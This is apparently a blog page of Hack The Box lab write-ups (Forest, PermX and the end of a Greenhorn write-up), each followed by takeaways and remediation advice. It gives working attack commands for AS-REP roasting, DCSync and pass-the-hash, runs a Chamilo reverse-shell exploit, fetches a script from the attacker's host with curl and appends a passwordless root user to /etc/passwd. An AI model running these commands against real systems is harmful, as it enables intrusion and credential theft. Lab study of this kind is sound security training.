5 – Privilege Escalation – depixelation of blurred credentials Transferred the PDF to the attack machine via base64 encoding and extracted the embedded image using pdfimages. The PDF contained a password that had been pixelated or blurred. Used the Depix tool with a Windows Notepad de Bruijn sequence search image to recover the original plaintext from the pixelated image. Tried the recovered string as the root password and it worked. Retrieved root.txt.
pdfimages greenhorn.pdf imagess python3 depix.py -p imagess-000.ppm -s debruinseq_notepad_Windows10_closeAndSpaced.png -o out.png
Key Takeaways
- Password hash stored in a public Gitea repository – A SHA-512 password hash was committed to a public repository connected to the production application. Secrets of any kind must never be committed to version control. Implement pre-commit hooks and secrets scanning tools such as truffleHog or gitleaks to prevent credential commits. Audit all repositories for historical secret exposure.
- Pluck 4.7.18 authenticated RCE – CVE-2023-50564 / EDB-51592 (CVSS 8.8 High) – The Pluck CMS version running was vulnerable to a file upload RCE via the module installer. CMS platforms must be kept fully patched and module upload functionality must be restricted to trusted administrators only.
- Password reuse between CMS admin and OS account – The password cracked from the Gitea hash was reused for the junior OS account, turning a repository credential into direct system access. Passwords must be unique across every account and service without exception.
- Pixelation is not a secure method of redacting credentials – The root password was visible in a PDF but obscured using pixelation. Pixelation applied to text with a known font and character set is reversible using publicly available tools. Sensitive information must be redacted by overwriting with a solid color or by removing the content entirely before sharing documents.
- Sensitive PDF stored in a user home directory – The PDF containing a credential hint was accessible after lateral movement to the junior account. Documents containing any credential information must never be stored on general-purpose user accounts and must be handled through a controlled access document management system.
Remediation
[Immediate] Remove the password hash from the Gitea repository Remove the hash from the repository immediately, rewrite Git history to purge the commit, and rotate the affected password. Audit all other repositories for committed secrets including hashes, API keys, and configuration files. Implement secrets scanning in the CI/CD pipeline and enforce pre-commit hooks across all repositories.
[Immediate] Patch Pluck CMS to remediate CVE-2023-50564 / EDB-51592 (CVSS 8.8 High) Update Pluck to the latest patched version immediately. Restrict access to the admin login page to authorized IP ranges only. If Pluck is not actively maintained upstream, evaluate migrating to a supported CMS alternative.
[Immediate] Enforce unique passwords across all accounts Rotate all passwords where iloveyou1 was reused across the Pluck admin, junior OS account, and any other service. Enforce a policy requiring unique passwords per account and per service. Deploy a password manager for all user accounts and enforce complexity requirements across the environment.
[Immediate] Replace pixelation with proper redaction Audit all shared documents for pixelated or blurred sensitive information and replace with solid color redaction or content removal. Establish a document handling policy requiring that all credentials be removed entirely from documents before sharing and that no password or secret ever appears in a PDF, image, or presentation in any form.
[Short-term] Restrict Gitea repository visibility and audit public repositories Audit all Gitea repositories for public visibility and restrict any that contain internal application code, configuration, or anything linked to production systems. Require authentication to browse repository content and implement branch protection and access controls on all production-related repositories.
[Long-term] Implement a secrets management and developer security training program Establish a policy prohibiting hardcoded credentials and password hashes in all code repositories and documents. Integrate secrets scanning into the development workflow and conduct security awareness training covering credential hygiene, safe document sharing, and the risks of committing sensitive data to version control.
- Password hash stored in a public Gitea repository – A SHA-512 password hash was committed to a public repository connected to the production application. Secrets of any kind must never be committed to version control. Implement pre-commit hooks and secrets scanning tools such as truffleHog or gitleaks to prevent credential commits. Audit all repositories for historical secret exposure.
-
Forest writeup
Forest writeup
Box name: Forest
Difficulty: Windows
OS: Windows
Overview: Forest is an easy Windows machine that showcases a Domain Controller (DC) for a domain in which Exchange Server has been installed. The DC allows anonymous LDAP binds, which are used to enumerate domain objects. The password for a service account with Kerberos pre-authentication disabled can be cracked to gain a foothold. The service account is found to be a member of the Account Operators group, which can be used to add users to privileged Exchange groups. The Exchange group membership is leveraged to gain DCSync privileges on the domain and dump the NTLM hashes, compromising the system.
Link: https://app.hackthebox.com/machines/Forest?sort_by=created_at&sort_type=desc
Machine IP: 10.129.2.111
Ran rustscan against the machine.
rustscan -a 10.129.2.111 –ulimit 5000 -b 2000 — -A -Pn

Definitely looks like an AD machine. I was able to list users as guest.

What seems interesting so far is there is a bunch of mailboxes. Created a list with all of the users. Unfortunately no access to shares as guest. Added htb.local to /etc/hosts. Since we have users but no password’s yet I attempted AS-REP roasting.
GetNPUsers.py htb.local/ -dc-ip 10.129.2.111 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass

We get svc-alfresco’s hash. Running hashcat.
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

Evil-winrm’ed into the victim and got user.txt.
evil-winrm -i 10.129.2.111 -u svc-alfresco -p s3rvice

I checked privs and groups of this user and Account Operators and Privileged IT accounts look interesting.

I poked around and did more research and got stuck here. I ended up peaking at the writeup- “Exchange Windows Permissions group has WriteDacl privileges on the Domain. The WriteDACL privilege allows a user to add ACLs to an object. We can add users to this group and give them DCSync privileges.” This checks out too as we saw a bunch of mailbox’s earlier. I should start using Bloodhound when I get stuck at these parts for AD machines to visualize and find a path. We can add a new user and provide those permissions.
net user kami kami123 /add /domain
net group ‘Exchange Windows Permissions’ kami /add
net localgroup ‘Remote Management Users’ kami /add
I uploaded PowerView.ps1 through evil-winrm.
upload /usr/share/windows-resources/powersploit/Recon/PowerView.ps1
Then ran it giving kami DCsync perms.
$pass = ConvertTo-SecureString ‘kami123’ -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential(‘htb.local\kami’, $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity kami -Rights DCSync

Then ran secretsdump and we get all of the hashes.
secretsdump.py ‘htb.local/kami:kami123@10.129.2.111’

Evilwin’ed into Adminsitrator with the hash and grabbed root.txt


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine with ports including 53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), 445 (SMB), and 5985 (WinRM). Added htb.local to /etc/hosts. Enumerated domain users via anonymous LDAP and guest RPC access. Noted a large number of mailbox accounts indicating Exchange Server was installed. Built a full user list. Guest SMB access returned no readable shares.
2 – ASREPRoasting and credential recovery Ran GetNPUsers against the enumerated user list to identify accounts with Kerberos pre-authentication disabled. The svc-alfresco service account returned an AS-REP hash. Cracked it with Hashcat using rockyou.
GetNPUsers.py htb.local/ -dc-ip 10.129.2.111 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt
Credentials recovered: svc-alfresco:s3rvice
3 – WinRM access and user flag Authenticated via evil-winrm as svc-alfresco and retrieved user.txt. Reviewed the account’s group memberships and identified membership in Account Operators and Privileged IT Accounts as notable.
evil-winrm -i 10.129.2.111 -u svc-alfresco -p s3rvice
4 – Exchange Windows Permissions abuse and DCSync Researched the Exchange group structure and identified that the Exchange Windows Permissions group held WriteDACL on the domain object. Used svc-alfresco’s Account Operators membership to create a new user and add them to Exchange Windows Permissions and Remote Management Users. Uploaded PowerView.ps1 via evil-winrm and used Add-DomainObjectAcl to grant the new user DCSync rights on the domain. Ran secretsdump to dump all domain hashes.
net user kami kami123 /add /domain net group ‘Exchange Windows Permissions’ kami /add Add-DomainObjectAcl -Credential $cred -TargetIdentity “DC=htb,DC=local” -PrincipalIdentity kami -Rights DCSync secretsdump.py ‘htb.local/kami:kami123@10.129.2.111’
5 – Pass the hash as Administrator Used the Administrator NTLM hash recovered from the DCSync dump with evil-winrm to authenticate and retrieved root.txt.
Key Takeaways
- Anonymous LDAP bind enabling full user enumeration – The domain controller allowed unauthenticated LDAP queries returning all domain user objects. Anonymous LDAP bind must be disabled on all domain controllers and LDAP signing and channel binding must be enforced via Group Policy.
- ASREPRoasting due to pre-authentication disabled on svc-alfresco – The service account had Kerberos pre-authentication disabled allowing an unauthenticated attacker to request an AS-REP hash and crack it offline. Kerberos pre-authentication must be enabled on all accounts without exception and any service account requiring it disabled must use a password of at least 25 randomly generated characters.
- Weak service account password crackable with rockyou – The svc-alfresco password was in the rockyou wordlist. Service account passwords must be long randomly generated strings managed through a PAM solution and rotated regularly. A crackable service account password in an Exchange environment is a domain compromise waiting to happen.
- Exchange Windows Permissions group holding WriteDACL on the domain – The Exchange group’s WriteDACL right on the domain object allowed any member to grant themselves or others DCSync privileges. This is a well-documented Exchange privilege escalation path. Exchange permissions on the domain object must be audited and scoped down to the minimum required. Microsoft has released mitigations for this configuration which must be applied.
- Account Operators membership enabling user creation and group manipulation – svc-alfresco’s Account Operators membership allowed creating domain users and adding them to privileged groups, providing the pivot needed to abuse the Exchange WriteDACL right. Service accounts must never hold Account Operators or other privileged group memberships beyond what is explicitly required for their function.
Remediation
[Immediate] Disable anonymous LDAP bind Configure all domain controllers to require authentication for LDAP queries. Set the dsHeuristics attribute to disable anonymous access and enforce LDAP signing and channel binding via Group Policy. This prevents unauthenticated user enumeration which is the first step in this attack chain.
[Immediate] Enable Kerberos pre-authentication on svc-alfresco Enable pre-authentication on the svc-alfresco account immediately using Set-ADAccountControl -Identity svc-alfresco -DoesNotRequirePreAuth $false. Audit all domain accounts for the DONT_REQ_PREAUTH flag and enable pre-authentication on every account found. Rotate the svc-alfresco password to a randomly generated string of at least 25 characters.
[Immediate] Apply Microsoft Exchange security mitigations for WriteDACL Apply the Microsoft-recommended Exchange domain permissions mitigations to remove unnecessary ACLs granted by the Exchange setup process. Run the provided mitigation script from Microsoft to scope down Exchange group permissions on the domain object. Audit all Exchange-related group memberships and their effective permissions on Active Directory objects.
[Immediate] Rotate all credentials recovered via DCSync All domain account hashes obtained through the DCSync attack must be considered fully compromised. Initiate a domain-wide password reset for all privileged accounts and rotate the Administrator password to a randomly generated string managed through a PAM solution.
[Short-term] Remove svc-alfresco from Account Operators Audit the svc-alfresco account and all other service accounts for membership in privileged built-in groups including Account Operators, Backup Operators, and Print Operators. Remove any memberships that are not explicitly required for the service function. Service accounts must operate under the principle of least privilege.
[Long-term] Deploy BloodHound and implement continuous AD attack path monitoring Run BloodHound regularly to identify attack paths including Exchange WriteDACL abuse, ASREPRoastable accounts, and Account Operators membership chains. Implement SIEM detection rules for DCSync activity, WriteDACL modifications, and AS-REP requests without pre-authentication. Include Active Directory and Exchange privilege escalation paths in the regular penetration testing scope.
- Anonymous LDAP bind enabling full user enumeration – The domain controller allowed unauthenticated LDAP queries returning all domain user objects. Anonymous LDAP bind must be disabled on all domain controllers and LDAP signing and channel binding must be enforced via Group Policy.
-
PermX writeup
PermX writeup
Box name: PermX
Difficulty: Easy
OS: Linux
Overview:
Link: https://app.hackthebox.com/machines/PermX?sort_by=created_at&sort_type=desc
Machine IP: 10.129.1.156
Ran rustscan against the machine.
rustscan -a 10.129.1.156 –ulimit 5000 -b 2000 — -A -Pn

Added permx.htb to /etc/hosts and navigated to the site.\

Kicked off feroxbuster to directory bust and ffuf to vhost fuzz.
feroxbuster -u http://10.129.1.156 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
ffuf -u http://permx.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H ‘Host: FUZZ.permx.htb’ -c -fc 302
Nothing looks entirely interesting in robots.txt or source code. Ffuf right away found lms.permx.htb. Added that to /etc/hosts.

Looks to use Chamilo. Tried default creds of admin:DigitalOcean but did not work. Ran feroxbuster on this site.
feroxbuster -u http://lms.permx.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400
Could find version in sourcecode. Feroxbuster was finding a lot. I was going through what was found and when I navigated to /plugin it briefly showed the version Chamilo 1.11.24. I don’t know why but it went away after a few seconds, I’m not really sure if that was intended but I can’t recreate seeing it. I also found some weird thing at http://lms.permx.htb/main/wiki

I wish I could recreate finding the version but I don’t know why that briefly showed for me and I can’t find anywhere else that says it so I’ll just move on to getting a foothold. Looked up exploits and found that it is vulnerable to 2023-4220 https://www.exploit-db.com/exploits/52083. Found this github and ran with it https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc. Downloaded it, set up a listener on 1337 and also created a revshell with https://www.revshells.com/.
python3 main.py -u http://lms.permx.htb/ -a revshell
And I got a shell back.

I see a user mtz on the device.

Hosted a webserver.
sudo python3 -m http.server 8080
Threw linpeas in /tmp.
curl http://10.10.16.27:8080/linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
Then ran it. It found an internal MySQL server which is interesting.

I also found a database user and password in /var/www/chamilo/app/config/configuration.php.

chamilo:03F6lY3uXAP2bkW8
It didn’t let me connect the the database but I tried it on user mtz in ssh and I got in mtz:03F6lY3uXAP2bkW8. Ran sudo -l right away and we can run /opt/acl.sh as root.

We can read it.


It looks like it runs setfacl at the end which can grant permission to only files in /home/mtz. Also forgot to grab user.txt so I got that. We can get root using symlink following this:
ln -s /etc/passwd /home/mtz/passwd
sudo /opt/acl.sh mtz rw /home/mtz/passwd
echo “pwned::0:0:root:/root:/bin/bash” >> /etc/passwd
su pwned


GG
Attack Chain
1 – Reconnaissance Ran RustScan and identified ports 22 (SSH) and 80 (HTTP). Added permx.htb to /etc/hosts and browsed to the site. Nothing notable in robots.txt or source code. Ran feroxbuster and ffuf VHOST fuzzing simultaneously. ffuf immediately found lms.permx.htb. Added it to /etc/hosts.
rustscan -a 10.129.1.156 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://permx.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion ffuf -u http://permx.htb -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H ‘Host: FUZZ.permx.htb’ -fc 302
2 – Chamilo version identification and unauthenticated RCE – CVE-2023-4220 Browsed to lms.permx.htb and found a Chamilo LMS instance. Default credentials did not work. Ran feroxbuster against the LMS and briefly identified Chamilo 1.11.24 from a plugin page. Researched the version and found CVE-2023-4220, an unauthenticated file upload RCE vulnerability. Used a public PoC with a reverse shell payload and obtained a shell as www-data.
python3 main.py -u http://lms.permx.htb/ -a revshell
3 – Credential extraction and lateral movement Found a user mtz on the machine. Ran LinPEAS and discovered an internal MySQL server. Found plaintext database credentials in the Chamilo configuration file. Tried the credentials against the mtz SSH account and they worked. Retrieved user.txt.
cat /var/www/chamilo/app/config/configuration.php
Credentials recovered: mtz:03F6lY3uXAP2bkW8
4 – Privilege Escalation – acl.sh symlink attack Ran sudo -l and found mtz could run /opt/acl.sh as root. Read the script and identified it used setfacl to grant ACL permissions to files in /home/mtz. Created a symlink from /home/mtz/passwd pointing to /etc/passwd, ran the sudo script to grant write access to the symlink, and appended a new root-level user to /etc/passwd. Switched to the new user and obtained a root shell. Retrieved root.txt.
ln -s /etc/passwd /home/mtz/passwd sudo /opt/acl.sh mtz rw /home/mtz/passwd echo “pwned::0:0:root:/root:/bin/bash” >> /etc/passwd su pwned
Key Takeaways
- Chamilo LMS unauthenticated file upload RCE – CVE-2023-4220 (CVSS 9.8 Critical) – Chamilo 1.11.24 was vulnerable to an unauthenticated large file upload that allowed arbitrary PHP execution with no credentials required. LMS platforms must be kept fully patched and upload endpoints must require authentication and validate file types strictly.
- Plaintext database credentials in a configuration file – The Chamilo configuration file contained plaintext database credentials readable after gaining a foothold as www-data. Configuration files must have restrictive permissions and must be readable only by the application service account. Credentials in configuration files must be unique and must not be reused for OS accounts.
- Password reuse between database and OS account – The database password in configuration.php was reused for the mtz SSH account, turning a web application credential into direct system access. Passwords must be unique across every account and service without exception.
- acl.sh sudo script vulnerable to symlink attack – The acl.sh script applied ACL permissions to any path in /home/mtz without verifying the target was not a symlink to a sensitive system file. This allowed write access to /etc/passwd by creating a symlink. Scripts executed with elevated privileges must validate that target paths are not symlinks and must resolve to expected filesystem locations before applying permissions.
- Write access to /etc/passwd enabling arbitrary root account creation – Once write access to /etc/passwd was obtained, adding a new passwordless root account was trivial. Modern Linux systems must use shadow passwords exclusively and /etc/passwd must never be writable by non-root users. ACL management scripts must never grant write access to files outside a specific safe directory.
Remediation
[Immediate] Patch Chamilo LMS to remediate CVE-2023-4220 (CVSS 9.8 Critical) Update Chamilo to the latest patched version immediately. Restrict access to the LMS upload functionality to authenticated users only and implement strict file type validation on all upload endpoints. Place the LMS behind a WAF with rules covering unauthenticated upload attempts and PHP execution from upload directories.
[Immediate] Restrict configuration file permissions and rotate exposed credentials Set /var/www/chamilo/app/config/configuration.php to be readable only by the web application service account using mode 640 or stricter. Rotate the database password immediately and ensure the new credential is unique to the database account and not reused anywhere else.
[Immediate] Fix the symlink vulnerability in acl.sh Rewrite acl.sh to resolve the target path with realpath and verify it is a regular file within an explicitly approved directory before applying ACL changes. Add a check rejecting any path that resolves outside /home/mtz. Conduct a review of all sudo scripts for similar symlink and path traversal vulnerabilities.
[Immediate] Enforce unique passwords across all accounts and services The mtz account password matched the database credential in the configuration file. Enforce a policy requiring unique passwords per account and per service. Conduct a credential audit across the environment to identify shared passwords and force resets where reuse is found.
[Short-term] Protect /etc/passwd from unauthorized modification Ensure /etc/passwd has permissions of 644 owned by root and is not writable by any non-root user or process. Enable file integrity monitoring on /etc/passwd, /etc/shadow, and /etc/sudoers to alert on any unauthorized modifications. Verify shadow passwords are in use and that /etc/passwd contains no password hashes.
[Long-term] Implement a web application and LMS hardening baseline Define a hardening standard for all LMS deployments covering patch cadence, upload endpoint authentication and validation, configuration file permissions, credential isolation, and sudo script security. Include all LMS and web application installations in regular vulnerability scans and penetration tests.
- Chamilo LMS unauthenticated file upload RCE – CVE-2023-4220 (CVSS 9.8 Critical) – Chamilo 1.11.24 was vulnerable to an unauthenticated large file upload that allowed arbitrary PHP execution with no credentials required. LMS platforms must be kept fully patched and upload endpoints must require authentication and validate file types strictly.
Categories
- Active Directory (1)
- active-directory (1)
- ai (31)
- artificial-intelligence (15)
- blog (1)
- cloud (8)
- cyber-security (14)
- cybersecurity (42)
- devops (4)
- docker (1)
- education (4)
- freebsd (1)
- hacking (1)
- health (1)
- HTB Labs (3)
- labs (2)
- life (1)
- linux (35)
- llm (2)
- mcp (1)
- microsoft (2)
- programming (1)
- science (3)
- security (43)
- software (1)
- ssh (1)
- technology (77)
- threat-intelligence (1)
- ubuntu (4)
- vulnerability (1)
- wifi (1)
- windows (10)
- wordpress (1)
- writing (8)